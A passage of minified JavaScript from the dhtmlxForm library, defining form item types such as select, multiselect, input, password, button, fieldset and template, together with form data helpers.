c=this;a.onclick=function(){c.doOnChange(this)};a.onkeydown=function(g){g=g||event;c.doOnChange(this);this.parentNode.parentNode.callEvent(\"onKeyDown\",[this,g,this.parentNode.parentNode._idd])};a.onchange=function(){c.doOnChange(this)};a.onkeyup=function(g){g=g||event;this.parentNode.parentNode.callEvent(\"onKeyUp\",[this,g,this.parentNode.parentNode._idd])};a=null;this.doAttachChangeLS(e)},doAttachChangeLS:function(c){var a=c.childNodes[c._ll?1:0].childNodes[0];a.onfocus=function(){var e=this.parentNode.parentNode;e.getForm()._ccActivate(e._idd,this,e.getForm().getItemValue(e._idd,true));e.getForm().callEvent(\"onFocus\",[e._idd]);e=null};a.onblur=function(){var e=this.parentNode.parentNode;e.getForm()._ccDeactivate(e._idd);e.getForm().callEvent(\"onBlur\",[e._idd]);e=null};a=null},doValidate:function(a){if(a.getForm().live_validate){this._validate(a)}},doLoadOpts:function(m,h,o){var n=m.childNodes[m._ll?1:0].childNodes[0];var a=h.options;var g=false;for(var c=0;c<a.length;c++){var l=a[c].text||a[c].label;if(!l||typeof(l)==\"undefined\"){l=\"\"}var e=new Option(l,a[c].value);if(typeof(a[c].img_src)==\"string\"){e.setAttribute(\"img_src\",a[c].img_src)}n.options.add(e);if(typeof(a[c].selected)!=\"undefined\"&&window.dhx4.s2b(a[c].selected)==true){e.selected=true;m._value=a[c].value;g=true}if(typeof(a[c].checked)!=\"undefined\"&&window.dhx4.s2b(a[c].checked)==true){e.setAttribute(\"checked\",\"1\")}if(typeof(a[c].img)!=\"undefined\"){e.setAttribute(\"img\",a[c].img)}if(typeof(a[c].img_dis)!=\"undefined\"){e.setAttribute(\"img_dis\",a[c].img_dis)}if(typeof(a[c].css)!=\"undefined\"){e.setAttribute(\"css\",a[c].css)}}if(!g&&n.selectedIndex>=0){m._value=n.options[n.selectedIndex].value}if(o===true){m.callEvent(\"onOptionsLoaded\",[m._idd])}this._checkNoteWidth(m)},doLoadOptsConnector:function(e,a){var c=this;e._connector_working=true;window.dhx4.ajax.get(a,function(m){m=m.xmlDoc.responseXML;if(m==null){return}var g=m.getElementsByTagName(\"data\");if(g==null||g[0]==null){return}g=g[0];var l=[];for(var n=0;n<g.childNodes.length;n++){if(typeof(g.childNodes[n].tagName)!=\"undefined\"&&String(g.childNodes[n].tagName).toLowerCase()==\"item\"){var h=g.childNodes[n];l.push({label:h.getAttribute(\"label\"),value:h.getAttribute(\"value\"),selected:(h.getAttribute(\"selected\")!=null)});h=null}}c.doLoadOpts(e,{options:l},true);e._connector_working=false;if(e._connector_value!=null){c.setValue(e,e._connector_value);e._connector_value=null}c=e=null})},doOnChange:function(e){var a=e.parentNode.parentNode;a._newValue=(e.selectedIndex>=0?e.options[e.selectedIndex].value:null);if(a._newValue!=a._value){if(a.checkEvent(\"onBeforeChange\")){if(a.callEvent(\"onBeforeChange\",[a._idd,a._value,a._newValue])!==true){for(var c=0;c<e.options.length;c++){if(e.options[c].value==a._value){e.options[c].selected=true}}return}}a._value=a._newValue;a.callEvent(\"onChange\",[a._idd,a._value]);if(a._type==\"se\"&&a.getForm().live_validate){this._validate(a)}}a._autoCheck()},setText:function(a,c){if(!c){c=\"\"}a.childNodes[a._ll?0:1].childNodes[0].innerHTML=c+(a._required?\"<span class='dhxform_item_required'>*</span>\":\"\");a.childNodes[a._ll?0:1].style.display=(c.length==0||c==null?\"none\":\"\")},getText:function(a){return a.childNodes[a._ll?0:1].childNodes[0].innerHTML.replace(/<span class=\\\"dhxform_item_required\\\">[^<]*<\\/span>/g,\"\")},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a.childNodes[a._ll?1:0].childNodes[0].removeAttribute(\"disabled\")},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;a.childNodes[a._ll?1:0].childNodes[0].setAttribute(\"disabled\",true)},getOptions:function(a){return a.childNodes[a._ll?1:0].childNodes[0].options},setValue:function(c,g){if(c._connector_working){c._connector_value=g;return}var a=this.getOptions(c);for(var e=0;e<a.length;e++){if(a[e].value==g){a[e].selected=true;c._value=a[e].value}}if(c._list!=null&&c._list.length>0){c.getForm()._autoCheck()}c.getForm()._ccReload(c._idd,c._value)},getValue:function(e){var a=-1;var c=this.getOptions(e);for(var g=0;g<c.length;g++){if(c[g].selected){a=c[g].value}}return a},setWidth:function(c,a){c.childNodes[c._ll?1:0].childNodes[0].style.width=a+\"px\"},getSelect:function(a){return a.childNodes[a._ll?1:0].childNodes[0]},setFocus:function(a){a.childNodes[a._ll?1:0].childNodes[0].focus()},_checkNoteWidth:function(c){var a;if(c.childNodes[c._ll?1:0].childNodes[1]!=null){a=c.childNodes[c._ll?1:0].childNodes[1];if(a.className!=null&&a.className.search(/dhxform_note/gi)>=0&&a._w==\"auto\"){a.style.width=c.childNodes[c._ll?1:0].childNodes[0].offsetWidth+\"px\"}}a=null}};(function(){for(var c in {doAddInput:1,doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.select[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.multiselect={doLoadOpts:function(g,l,m){var c=g.childNodes[g._ll?1:0].childNodes[0];c.multiple=true;if(!isNaN(l.size)){c.size=Number(l.size)}g._value=[];g._newValue=[];var e=l.options;for(var h=0;h<e.length;h++){var a=new Option(e[h].text||e[h].label,e[h].value);c.options.add(a);if(e[h].selected==true||e[h].selected==\"true\"){a.selected=true;g._value.push(e[h].value)}}if(m===true){g.callEvent(\"onOptionsLoaded\",[g._idd])}this._checkNoteWidth(g)},doAttachEvents:function(e){var a=e.childNodes[e._ll?1:0].childNodes[0];var c=this;a.onfocus=function(){c.doOnChange(this);var g=this.parentNode.parentNode;g.getForm().callEvent(\"onFocus\",[g._idd]);g=null};a.onblur=function(){c.doOnChange(this);var g=this.parentNode.parentNode;g.getForm().callEvent(\"onBlur\",[g._idd]);g=null};a.onclick=function(){c.doOnChange(this);var g=this.parentNode.parentNode;g._autoCheck();g=null}},doOnChange:function(g){var c=g.parentNode.parentNode;c._newValue=[];for(var e=0;e<g.options.length;e++){if(g.options[e].selected){c._newValue.push(g.options[e].value)}}if((c._value).sort().toString()!=(c._newValue).sort().toString()){if(c.checkEvent(\"onBeforeChange\")){if(c.callEvent(\"onBeforeChange\",[c._idd,c._value,c._newValue])!==true){var a={};for(var e=0;e<c._value.length;e++){a[c._value[e]]=true}for(var e=0;e<g.options.length;e++){g.options[e].selected=(a[g.options[e].value]==true)}a=null;return}}c._value=[];for(var e=0;e<c._newValue.length;e++){c._value.push(c._newValue[e])}c.callEvent(\"onChange\",[c._idd,c._value])}c._autoCheck()},setValue:function(e,h){var a={};if(typeof(h)==\"string\"){h=h.split(\",\")}if(typeof(h)!=\"object\"){h=[h]}for(var g=0;g<h.length;g++){a[h[g]]=true}var c=this.getOptions(e);for(var g=0;g<c.length;g++){c[g].selected=(a[c[g].value]==true)}e._autoCheck()},getValue:function(e){var a=[];var c=this.getOptions(e);for(var g=0;g<c.length;g++){if(c[g].selected){a.push(c[g].value)}}return a}};(function(){for(var c in dhtmlXForm.prototype.items.select){if(!dhtmlXForm.prototype.items.multiselect[c]){dhtmlXForm.prototype.items.multiselect[c]=dhtmlXForm.prototype.items.select[c]}}})();dhtmlXForm.prototype.items.input={render:function(l,m){var h=(!isNaN(m.rows));l._type=\"ta\";l._enabled=true;this.doAddLabel(l,m);this.doAddInput(l,m,(h?\"TEXTAREA\":\"INPUT\"),(h?null:\"TEXT\"),true,true,\"dhxform_textarea\");this.doAttachEvents(l);if(h){l.childNodes[l._ll?1:0].childNodes[0].rows=Number(m.rows)+(window.dhx4.isIE6?1:0)}if(typeof(m.numberFormat)!=\"undefined\"){var g,e=null,n=null;if(typeof(m.numberFormat)!=\"string\"){g=m.numberFormat[0];e=m.numberFormat[1]||null;n=m.numberFormat[2]||null}else{g=m.numberFormat;if(typeof(m.groupSep)==\"string\"){e=m.groupSep}if(typeof(m.decSep)==\"string\"){n=m.decSep}}this.setNumberFormat(l,g,e,n,false)}this.setValue(l,m.value);return this},doAttachEvents:function(c){var a=this;if(c._type==\"ta\"||c._type==\"se\"||c._type==\"pw\"){c.childNodes[c._ll?1:0].childNodes[0].onfocus=function(){var e=this.parentNode.parentNode;if(e._df!=null){this.value=e._value||\"\"}e.getForm()._ccActivate(e._idd,this,this.value);e.getForm().callEvent(\"onFocus\",[e._idd]);e=null}}c.childNodes[c._ll?1:0].childNodes[0].onblur=function(){var e=this.parentNode.parentNode;e.getForm()._ccDeactivate(e._idd);a.updateValue(e,true);if(e.getForm().live_validate){a._validate(e)}e.getForm().callEvent(\"onBlur\",[e._idd]);e=null}},updateValue:function(h,a){var l=h.childNodes[h._ll?1:0].childNodes[0].value;var g=h.getForm();var c=(g._ccActive==true&&g._formLS!=null&&g._formLS[h._idd]!=null);g=null;if(!c&&h._df!=null&&l==window.dhx4.template._getFmtValue(h._value,h._df)){return}if(!a&&h._df!=null&&h._value==l&&l==window.dhx4.template._getFmtValue(l,h._df)){return}var e=this;if(h._value!=l){if(h.checkEvent(\"onBeforeChange\")){if(h.callEvent(\"onBeforeChange\",[h._idd,h._value,l])!==true){if(h._df!=null){e.setValue(h,h._value)}else{h.childNodes[h._ll?1:0].childNodes[0].value=h._value}return}}if(h._df!=null&&a){e.setValue(h,l)}else{h._value=l}h.callEvent(\"onChange\",[h._idd,l]);return}if(h._df!=null&&a){this.setValue(h,h._value)}},setValue:function(e,g){e._value=(typeof(g)!=\"undefined\"&&g!=null?g:\"\");var c=(String(e._value)||\"\");var a=e.childNodes[e._ll?1:0].childNodes[0];if(e._df!=null){c=window.dhx4.template._getFmtValue(c,e._df)}if(a.value!=c){a.value=c;e.getForm()._ccReload(e._idd,c)}a=null},getValue:function(a){var c=a.getForm();if(c._formLS&&c._formLS[a._idd]!=null){this.updateValue(a)}c=null;return(typeof(a._value)!=\"undefined\"&&a._value!=null?a._value:\"\")},setReadonly:function(a,c){a._ro=(c===true);if(a._ro){a.childNodes[a._ll?1:0].childNodes[0].setAttribute(\"readOnly\",\"true\")}else{a.childNodes[a._ll?1:0].childNodes[0].removeAttribute(\"readOnly\")}},isReadonly:function(a){if(!a._ro){a._ro=false}return a._ro},getInput:function(a){return a.childNodes[a._ll?1:0].childNodes[0]},setNumberFormat:function(g,h,e,l,c){if(typeof(c)!=\"boolean\"){c=true}if(h==\"\"){g._df=null;if(c){this.setValue(g,g._value)}return true}if(typeof(h)!=\"string\"){return}var a=window.dhx4.template._parseFmt(h,e,l);if(a==false){return false}else{g._df=a}if(c){this.setValue(g,g._value)}return true}};(function(){for(var c in {doAddLabel:1,doAddInput:1,destruct:1,doUnloadNestedLists:1,setText:1,getText:1,enable:1,disable:1,isEnabled:1,setWidth:1,setFocus:1}){dhtmlXForm.prototype.items.input[c]=dhtmlXForm.prototype.items.select[c]}})();dhtmlXForm.prototype.items.password={render:function(a,c){a._type=\"pw\";a._enabled=true;this.doAddLabel(a,c);this.doAddInput(a,c,\"INPUT\",\"PASSWORD\",true,true,\"dhxform_textarea\");this.doAttachEvents(a);this.setValue(a,c.value);return this}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doAttachEvents:1,destruct:1,doUnloadNestedLists:1,setText:1,getText:1,setValue:1,getValue:1,updateValue:1,enable:1,disable:1,isEnabled:1,setWidth:1,setReadonly:1,isReadonly:1,setFocus:1,getInput:1}){dhtmlXForm.prototype.items.password[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.file={render:function(e,g){e._type=\"fl\";e._enabled=true;this.doAddLabel(e,g);this.doAddInput(e,g,\"INPUT\",\"FILE\",true,false,\"dhxform_textarea\");var a=e.childNodes[e._ll?1:0].childNodes[0];var c=this;a.onfocus=function(){var h=this.parentNode.parentNode;h.getForm().callEvent(\"onFocus\",[h._idd]);h=null};a.onblur=function(){var h=this.parentNode.parentNode;if(h.getForm().live_validate){c._validate(h)}h.getForm().callEvent(\"onBlur\",[h._idd]);h=null};a=null;e.childNodes[e._ll?1:0].childNodes[0].onchange=function(){e.callEvent(\"onChange\",[e._idd,this.value])};return this},setValue:function(){},getValue:function(a){return a.childNodes[a._ll?1:0].childNodes[0].value}};(function(){for(var c in {doAddLabel:1,doAddInput:1,destruct:1,doUnloadNestedLists:1,setText:1,getText:1,getInput:1,enable:1,disable:1,isEnabled:1,setWidth:1}){dhtmlXForm.prototype.items.file[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.label={_index:false,render:function(c,e){c._type=\"lb\";c._enabled=true;c._checked=true;var a=document.createElement(\"DIV\");a.className=\"dhxform_txt_label2\"+(e._isTopmost?\" topmost\":\"\");a.innerHTML=e.label;c.appendChild(a);if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}if(!isNaN(e.labelWidth)){a.style.width=parseInt(e.labelWidth)+\"px\"}if(!isNaN(e.labelHeight)){a.style.height=parseInt(e.labelHeight)+\"px\"}if(!isNaN(e.labelLeft)){a.style.left=parseInt(e.labelLeft)+\"px\"}if(!isNaN(e.labelTop)){a.style.top=parseInt(e.labelTop)+\"px\"}return this},destruct:function(a){this.doUnloadNestedLists(a);a._autoCheck=null;a._enabled=null;a._type=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;a.onselectstart=null;a.parentNode.removeChild(a);a=null},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false},setText:function(a,c){a.firstChild.innerHTML=c},getText:function(a){return a.firstChild.innerHTML}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.label[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.button={render:function(c,e){c._type=\"bt\";c._enabled=true;c._name=e.name;c.className=String(c.className).replace(\"item_label_top\",\"item_label_left\").replace(\"item_label_right\",\"item_label_left\");c._doOnKeyUpDown=function(h,g){this.callEvent(h,[this.childNodes[0].childNodes[0],g,this._idd])};c.innerHTML='<div class=\"dhxform_btn\" role=\"link\" tabindex=\"0\" dir=\"ltr\"><div class=\"dhxform_btn_txt\">'+e.value+'</div><div class=\"dhxform_btn_filler\" disabled=\"true\"></div></div>';if(!isNaN(e.width)){var a=Math.max(e.width,10);if(dhtmlXForm.prototype.items[this.t]._dim==null){c.firstChild.style.width=a+\"px\";dhtmlXForm.prototype.items[this.t]._dim=c.getForm()._checkDim(c,c.firstChild)}c.firstChild.style.width=a-dhtmlXForm.prototype.items[this.t]._dim+\"px\";c.firstChild.firstChild.className+=\" dhxform_btn_txt_autowidth\"}if(!isNaN(e.inputLeft)){c.childNodes[0].style.left=parseInt(e.inputLeft)+\"px\"}if(!isNaN(e.inputTop)){c.childNodes[0].style.top=parseInt(e.inputTop)+\"px\"}if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}if(typeof(e.tooltip)!=\"undefined\"){c.firstChild.title=e.tooltip}c.onselectstart=function(g){g=g||event;g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false};c.firstChild.onselectstart=function(g){g=g||event;g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false};c.firstChild.onkeypress=function(g){g=g||event;if((g.keyCode==32||g.charCode==32||g.keyCode==13||g.charCode==13)&&!this.parentNode._busy){this.parentNode._busy=true;g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}_dhxForm_doClick(this.childNodes[0],[\"mousedown\",\"mouseup\"]);return false}};c.firstChild.onfocus=function(){this.parentNode._doOnFocus(this.parentNode)};c.firstChild.onblur=function(){_dhxForm_doClick(this.childNodes[0],\"mouseout\");this.parentNode._doOnBlur(this.parentNode)};c.firstChild.onkeyup=function(g){this.parentNode._doOnKeyUpDown(\"onKeyUp\",g||event)};c.firstChild.onkeydown=function(g){this.parentNode._doOnKeyUpDown(\"onKeyDown\",g||event)};c.firstChild.onmouseover=function(){var g=this.parentNode;if(!g._enabled){return}this._isOver=true;this.className=\"dhxform_btn dhxform_btn_over\";g=null};c.firstChild.onmouseout=function(){var g=this.parentNode;if(!g._enabled){return}this.className=\"dhxform_btn\";this._allowClick=false;this._pressed=false;this._isOver=false;g=null};c.firstChild.ontouchstart=c.firstChild.onmousedown=function(h){h=h||event;if(h.type==\"touchstart\"&&h.preventDefault){h.preventDefault()}if(h.button>=2){return}if(this._pressed){return}var g=this.parentNode;if(!g._enabled){return}this.className=\"dhxform_btn dhxform_btn_pressed\";this._allowClick=true;this._pressed=true;g=null};c.firstChild.ontouchend=c.firstChild.onmouseup=function(h){h=h||event;if(h.button>=2){return}if(!this._pressed){return}var g=this.parentNode;if(!g._enabled){return}g._busy=false;this.className=\"dhxform_btn\"+(this._isOver?\" dhxform_btn_over\":\"\");if(this._pressed&&this._allowClick){g.callEvent(\"_onButtonClick\",[g._name,g._cmd])}this._allowClick=false;this._pressed=false;g=null};c._doOnFocus=function(g){g.getForm().callEvent(\"onFocus\",[g._idd])};c._doOnBlur=function(g){g.getForm().callEvent(\"onBlur\",[g._idd])};return this},destruct:function(a){this.doUnloadNestedLists(a);a.callEvent=null;a.checkEvent=null;a.getForm=null;a._autoCheck=null;a._type=null;a._enabled=null;a._cmd=null;a._name=null;a._doOnFocus=null;a._doOnBlur=null;a._doOnKeyUpDown=null;a.onselectstart=null;a.firstChild.onselectstart=null;a.firstChild.onkeypress=null;a.firstChild.ontouchstart=null;a.firstChild.ontouchend=null;a.firstChild.onfocus=null;a.firstChild.onblur=null;a.firstChild.onkeyup=null;a.firstChild.onkeydown=null;a.firstChild.onmouseover=null;a.firstChild.onmouseout=null;a.firstChild.onmousedown=null;a.firstChild.onmouseup=null;while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a.childNodes[0].removeAttribute(\"disabled\");a.childNodes[0].setAttribute(\"role\",\"link\");a.childNodes[0].setAttribute(\"tabIndex\",\"0\")},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;a.childNodes[0].setAttribute(\"disabled\",\"true\");a.childNodes[0].removeAttribute(\"role\");a.childNodes[0].removeAttribute(\"tabIndex\")},setText:function(a,c){a.childNodes[0].childNodes[0].innerHTML=c},getText:function(a){return a.childNodes[0].childNodes[0].innerHTML},setFocus:function(a){a.childNodes[0].focus()}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.button[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.hidden={_index:false,render:function(c,e){c.style.display=\"none\";c._name=e.name;c._type=\"hd\";c._enabled=true;var a=document.createElement(\"INPUT\");a.type=\"HIDDEN\";a.name=e.name;a.value=(e.value||\"\");c.appendChild(a);return this},destruct:function(a){this.doUnloadNestedLists(a);while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a._autoCheck=null;a._name=null;a._type=null;a._enabled=null;a.onselectstart=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;a.parentNode.removeChild(a);a=null},enable:function(a){a._enabled=true;a.childNodes[0].setAttribute(\"name\",a._name)},disable:function(a){a._enabled=false;a.childNodes[0].removeAttribute(\"name\")},show:function(){},hide:function(){},isHidden:function(){return true},setValue:function(a,c){a.childNodes[0].value=c},getValue:function(a){return a.childNodes[0].value},getInput:function(a){return a.childNodes[0]}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.hidden[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.list={_index:false,render:function(a,c){a._type=\"list\";a._enabled=true;a._isNestedForm=true;a.style.paddingLeft=a._ofsNested+\"px\";a.className=\"dhxform_base_nested\"+(a._custom_css||\"\");return[this,new dhtmlXForm(a,null,c)]},destruct:function(a){}};dhtmlXForm.prototype.items.fieldset={_index:false,render:function(c,g){c._type=\"fs\";if(typeof(parseInt(g.inputWidth))==\"number\"){}c._width=g.width;c._enabled=true;c._checked=true;c.className=\"fs_\"+g.position+(typeof(g.className)==\"string\"?\" \"+g.className:\"\");var e=document.createElement(\"FIELDSET\");e.className=\"dhxform_fs\";var h=String(g.labelAlign).replace(\"align_\",\"\");e.innerHTML=\"<legend class='fs_legend' align='\"+h+\"' style='text-align:\"+h+\"'>\"+g.label+\"</legend>\";c.appendChild(e);if(!isNaN(g.inputLeft)){e.style.left=parseInt(g.inputLeft)+\"px\"}if(!isNaN(g.inputTop)){e.style.top=parseInt(g.inputTop)+\"px\"}if(g.inputWidth!=\"auto\"){if(!isNaN(g.inputWidth)){e.style.width=parseInt(g.inputWidth)+\"px\";var a=parseInt(e.style.width);if(e.offsetWidth>a){e.style.width=a+(a-e.offsetWidth)+\"px\"}}}c._addSubListNode=function(){var l=document.createElement(\"DIV\");l._custom_css=\" dhxform_fs_nested\";this.childNodes[0].appendChild(l);return l};if(g.hidden==true){this.hide(c)}if(g.disabled==true){this.userDisable(c)}return this},destruct:function(a){this.doUnloadNestedLists(a);a._checked=null;a._enabled=null;a._idd=null;a._type=null;a._width=null;a.onselectstart=null;a._addSubListNode=null;a._autoCheck=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},setText:function(a,c){a.childNodes[0].childNodes[0].innerHTML=c},getText:function(a){return a.childNodes[0].childNodes[0].innerHTML},enable:function(a){a._enabled=true;if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}},disable:function(a){a._enabled=false;if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}},setWidth:function(c,a){c.childNodes[0].style.width=a+\"px\";c._width=a},getWidth:function(a){return a._width}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.fieldset[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.block={_index:false,render:function(c,e){c._type=\"bl\";c._width=e.width;c._enabled=true;c._checked=true;c.className=\"block_\"+e.position+(typeof(e.className)==\"string\"?\" \"+e.className:\"\");var a=document.createElement(\"DIV\");a.className=\"dhxform_obj_\"+c.getForm().skin+\" dhxform_block\";a.style.fontSize=c.getForm().cont.style.fontSize;if(e.style){a.style.cssText=e.style}if(typeof(e.id)!=\"undefined\"){a.id=e.id}c.appendChild(a);if(!isNaN(e.inputLeft)){a.style.left=parseInt(e.inputLeft)+\"px\"}if(!isNaN(e.inputTop)){a.style.top=parseInt(e.inputTop)+\"px\"}if(e.inputWidth!=\"auto\"){if(!isNaN(e.inputWidth)){a.style.width=parseInt(e.inputWidth)+\"px\"}}if(!isNaN(e.blockOffset)){c._ofsNested=e.blockOffset}c._addSubListNode=function(){var g=document.createElement(\"DIV\");g._inBlcok=true;if(typeof(this._ofsNested)!=\"undefined\"){g._ofsNested=this._ofsNested}this.childNodes[0].appendChild(g);return g};if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}return this},_setCss:function(a,e,c){a.firstChild.className=\"dhxform_obj_\"+e+\" dhxform_block\";a.firstChild.style.fontSize=c}};(function(){for(var c in {enable:1,disable:1,isEnabled:1,setWidth:1,getWidth:1,doUnloadNestedLists:1,destruct:1}){dhtmlXForm.prototype.items.block[c]=dhtmlXForm.prototype.items.fieldset[c]}})();dhtmlXForm.prototype.items.newcolumn={_index:false};dhtmlXForm.prototype.items.template={render:function(c,e){var a=(!isNaN(e.rows));c._type=\"tp\";c._enabled=true;if(e.format!=null){if(typeof(e.format)==\"function\"){c.format=e.format}else{if(typeof(e.format)==\"string\"&&typeof(window[e.format])==\"function\"){c.format=window[e.format]}}}if(c.format==null){c.format=function(g,h){return h}}this.doAddLabel(c,e);this.doAddInput(c,e,\"DIV\",null,true,true,\"dhxform_item_template\");this.setValue(c,e.value||\"\");return this},destruct:function(a){a.format=null;this.d2(a);a=null},setValue:function(a,c){a._value=c;a.childNodes[a._ll?1:0].childNodes[0].innerHTML=a.format(a._idd,a._value)},getValue:function(a){return a._value},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false}};(function(){dhtmlXForm.prototype.items.template.d2=dhtmlXForm.prototype.items.input.destruct;for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,isEnabled:1,setWidth:1}){dhtmlXForm.prototype.items.template[c]=dhtmlXForm.prototype.items.select[c]}})();dhtmlXForm.prototype._ulToObject=function(l,r){var m=[];for(var c=0;c<l.childNodes.length;c++){if(String(l.childNodes[c].tagName||\"\").toLowerCase()==\"li\"){var g={};var u=l.childNodes[c];for(var s=0;s<r.length;s++){if(u.getAttribute(r[s])!=null){g[String(r[s]).replace(\"ftype\",\"type\")]=u.getAttribute(r[s])}}if(!g.label){try{g.label=u.firstChild.nodeValue}catch(o){}}var h=u.getElementsByTagName(\"UL\");if(h[0]!=null){g[(g.type==\"select\"?\"options\":\"list\")]=dhtmlXForm.prototype._ulToObject(h[0],r)}for(var s=0;s<u.childNodes.length;s++){if(String(u.childNodes[s].tagName||\"\").toLowerCase()==\"userdata\"){if(!g.userdata){g.userdata={}}g.userdata[u.childNodes[s].getAttribute(\"name\")]=u.childNodes[s].firstChild.nodeValue}}m[m.length]=g}if(String(l.childNodes[c].tagName||\"\").toLowerCase()==\"div\"){var g={};g.type=\"label\";try{g.label=l.childNodes[c].firstChild.nodeValue}catch(o){}m[m.length]=g}}return m};dhtmlXForm.prototype.setUserData=function(h,e,g,a){if(typeof(a)!=\"undefined\"){var c=this.doWithItem([h,e],\"_getId\");if(c!=null){h=c;e=g;g=a}}if(!this._userdata){this._userdata={}}this._userdata[h]=(this._userdata[h]||{});this._userdata[h][e]=g};dhtmlXForm.prototype.getUserData=function(g,e,a){if(typeof(a)!=\"undefined\"){var c=this.doWithItem([g,e],\"_getId\");if(c!=null){g=c;e=a}}if(this._userdata!=null&&typeof(this._userdata[g])!=\"undefined\"&&typeof(this._userdata[g][e])!=\"undefined\"){return this._userdata[g][e]}return\"\"};dhtmlXForm.prototype.setRTL=function(a){this._rtl=(a===true?true:false);if(this._rtl){if(String(this.cont).search(/dhxform_rtl/gi)<0){this.cont.className+=\" dhxform_rtl\"}}else{if(String(this.cont).search(/dhxform_rtl/gi)>=0){this.cont.className=String(this.cont.className).replace(/dhxform_rtl/gi,\"\")}}};_dhxForm_doClick=function(h,c){if(typeof(c)==\"object\"){var a=c[1];c=c[0]}if(document.createEvent){var g=document.createEvent(\"MouseEvents\");g.initEvent(c,true,false);h.dispatchEvent(g)}else{if(document.createEventObject){var g=document.createEventObject();g.button=1;h.fireEvent(\"on\"+c,g)}}if(a){window.setTimeout(function(){_dhxForm_doClick(h,a)},100)}};dhtmlXForm.prototype.setFormData=function(e){for(var c in e){var g=this.getItemType(c);switch(g){case\"checkbox\":this[e[c]==true||parseInt(e[c])==1||e[c]==\"true\"||e[c]==this.getItemValue(c,\"realvalue\")?\"checkItem\":\"uncheckItem\"](c);break;case\"radio\":this.checkItem(c,e[c]);break;case\"input\":case\"textarea\":case\"password\":case\"select\":case\"multiselect\":case\"hidden\":case\"template\":case\"combo\":case\"calendar\":case\"colorpicker\":case\"editor\":this.setItemValue(c,e[c]);break;default:if(this[\"setFormData_\"+g]){this[\"setFormData_\"+g](c,e[c])}else{if(!this.hId){this.hId=this._genStr(12)}this.setUserData(this.hId,c,e[c])}break}}};dhtmlXForm.prototype.getFormData=function(v,l){var c={};var o=this;for(var u in this.itemPull){var n=this.itemPull[u]._idd;var w=this.itemPull[u]._type;if(w==\"ch\"){c[n]=(this.isItemChecked(n)?this.getItemValue(n):0)}if(w==\"ra\"&&!c[this.itemPull[u]._group]){c[this.itemPull[u]._group]=this.getCheckedValue(this.itemPull[u]._group)}if(w in {se:1,ta:1,pw:1,hd:1,tp:1,fl:1,calendar:1,combo:1,editor:1,colorpicker:1}){c[n]=this.getItemValue(n,v)}if(this[\"getFormData_\"+w]){c[n]=this[\"getFormData_\"+w](n)}if(w==\"up\"){var h=this.getItemValue(n);for(var g in h){c[g]=h[g]}}if(this.itemPull[u]._list){for(var e=0;e<this.itemPull[u]._list.length;e++){var m=this.itemPull[u]._list[e].getFormData(v,l);for(var s in m){c[s]=m[s]}}}}if(!l&&this.hId&&this._userdata[this.hId]){for(var u in this._userdata[this.hId]){if(!c[u]){c[u]=this._userdata[this.hId][u]}}}return c};dhtmlXForm.prototype.adjustParentSize=function(){var l=0;var h=-1;for(var m=0;m<this.base.length;m++){l+=this.base[m].firstChild.offsetWidth;if(this.base[m].offsetHeight>h){h=this.base[m].offsetHeight}}var g=false;try{g=(this.cont.parentNode.parentNode.parentNode.parentNode._isCell==true);if(g){var a=this.cont.parentNode.parentNode.parentNode.parentNode}}catch(n){}if(g&&typeof(a)!=\"undefined\"){if(l>0){a.setWidth(l+10)}if(h>0){a.setHeight(h+a.firstChild.firstChild.offsetHeight+5)}g=a=null;return}var c=false;try{c=(this.cont.parentNode.parentNode.parentNode._isWindow==true);if(c){var 